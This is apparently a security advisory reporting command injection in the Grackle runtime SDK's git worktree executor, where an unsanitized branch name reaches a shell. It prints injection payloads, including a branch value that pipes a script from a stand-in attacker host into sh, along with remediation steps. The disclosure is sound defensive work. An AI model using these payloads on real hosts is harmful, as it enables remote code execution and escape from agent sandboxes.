GHSA-vv65-f55v-xm6g Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)

• npm @grackle-ai/runtime-sdk: <= 0.132.1 (no fix yet) • npm @grackle-ai/powerline: <= 0.132.1 (no fix yet)

Summary The default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task branch name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve arbitrary command execution as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox. This advisory bundles two related defects in `worktree.ts` (audit findings F1 and F13). Affected versions `@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version 0.132.1 and earlier. All publishable packages are lockstep-versioned. F1 — Command injection via `shell:true` (primary, High) Location: `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch → args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`. `NODE_GIT_EXECUTOR.exec` runs: ```ts const shell = process.env.SHELL || true; // worktree.ts:24 — always truthy const result = await execRaw("git", args, { ...options, shell }); ``` When `shell` is truthy, Node does not pass `args` as a safe argv vector — it concatenates `git` + args into a single string run through `sh -c` with no escaping. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into: ```ts ["worktree", "add", "-b", branch, wtPath, startPoint] // worktree.ts:135-137 ["worktree", "add", wtPath, branch] // fallback :143 ``` `sanitizeBranch()` (`worktree.ts:50`) is applied only to compute the on-disk worktree directory path — *not* to the `-b ` argument — so it provides zero protection at the injection sink. Exploit: set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.) The sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync("git", [...])` with no shell, confirming `shell:true` is unnecessary here. F13 — Argument injection: missing `--` separator (residual, Low) Location: `packages/runtime-sdk/src/worktree.ts:135-143`. Independent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `["checkout", "--", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1. Remediation 1. Remove `shell` from `NODE_GIT_EXECUTOR` — `execFile('git', args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix. 2. Add a `--` separator before positional refs/paths in both `worktree add` invocations. 3. Defense in depth: validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules — reject names beginning with `-`, containing `..`, or containing shell metacharacters — before it reaches `ensureWorktree`.